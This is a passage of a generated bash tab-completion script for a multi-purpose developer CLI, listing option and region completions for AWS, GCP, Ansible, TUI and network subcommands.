"$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm windows\'*\'--share-directory\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex list-endpoints\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds list-db-instances\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex list-endpoints\'*\'-l\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds list-db-instances\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-images\'*\'-l\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws generate-sso-profiles\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm update-parameter\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm update-parameter\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui dev-help stack-overflow\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm create-parameter\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm create-parameter\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm delete-parameter\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm delete-parameter\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs list-log-groups\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs list-log-groups\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network warc-2-zim\'*\'--output\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network network-manager\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ansible decrypt-variable\'*\'-f\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm list-parameters\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm list-parameters\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex deploy-model\'*\'-l\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex deploy-model\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs tail-log-group\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm linux\'*\'--share-directory\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs tail-log-group\'*\'-s\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(for e in s m h d w; do echo "${2//[!0-9]/}${e}"; done)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs tail-log-group\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs query-log-groups\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--end-time --help --log-group-name --profile --region --start-time -h -l -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws generate-sso-profiles\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--backup --default-cli-region --help --sso-region --sso-start-url -d -h -r -u")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds list-db-instances\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-images\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --location --project -h -l -p")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ec2 list-instances\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ec2 list-instances\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ec2 list-instances\'*\'-f\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "instance-id instance-type private-dns-name private-ip-address public-dns-name subnet-id vpc-id tags launch-time availability-zone state architecture instance-profile security-groups os")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development tail-logs\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc find-and-replace\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc visualizations-2\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex predict\'*\'--file\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui data jupyter-notebook\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development terraform\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --terraform -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex list-endpoints\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --location --project -h -l -p")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm create-parameter\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --name --profile --region --value -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs list-log-groups\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network full-browser\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm delete-parameter\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm mac\'*\'--share-directory\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network proxy-with-nginx\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --proxy-target-host --proxy-target-protocol --tcp-port -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm get-parameter\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc youtube-music-2\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm get-parameter\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ansible decrypt-variable\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--file --help --variable -f -h -v")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm update-parameter\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --name --profile --region --value -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network archive-website\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--behaviors --exclude --help --keep --limit --name --output --shm-size --url --wait-until --workers -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws export-sso-creds\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws export-sso-creds\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'java analyze-with-sonar\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --sonar-login --sonar-project-key --sonar-url -h -k -l -u")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex deploy-model\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--accelerator --container-image --container-port --display-name --endpoint-name --health-route --help --location --machine-type --model-gcs-uri --predict-route --project -c -d -e -h -l -m -p")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development journal\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs tail-log-group\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region --since --stdout --verbose -h -p -r -s -v")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc visualizations\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm list-parameters\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development openapi\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ai open-llama-api-docs\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network api-client\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network mitm-proxy\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc youtube-music\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc ascii-theater\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development readme\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development wrkflw\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network-monitoring\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h ip-traffic netscanner network-diags socket-stats wavemon")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws toggle-auto-prompt\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ec2 list-instances\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --filter --help --profile --region -f -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ansible encrypt-string\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--copy-output-to-clipboard --help -c -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp get-project-number\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'db bigquery\'*\'--location\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui data database-ide\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc presentation\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc file-manager\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws console\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ai start-llama-server\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --hf-file --hf-repo -f -h -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network proxymock\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex predict\'*\'-l\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex predict\'*\'-f\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm get-parameter\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws console\'*\'--service\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(python -c $\'import boto3\nfor service in boto3.Session().get_available_services(): print(service)\' | grep -v \'codestar\|honeycode\|mobile\|worklink\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui docker kubernetes\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document merge-pdf\'*\'-i\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest storm-breaker\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network carbonyl\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document decrypt-pdf\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -A file -W "$(_dtools_completions_filter "--help --output-file -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development gama\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development drft\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'backup\'*\'--backup-dest\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development jira\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws export-sso-creds\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc screensaver\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp login\'*\'--location\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws console\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 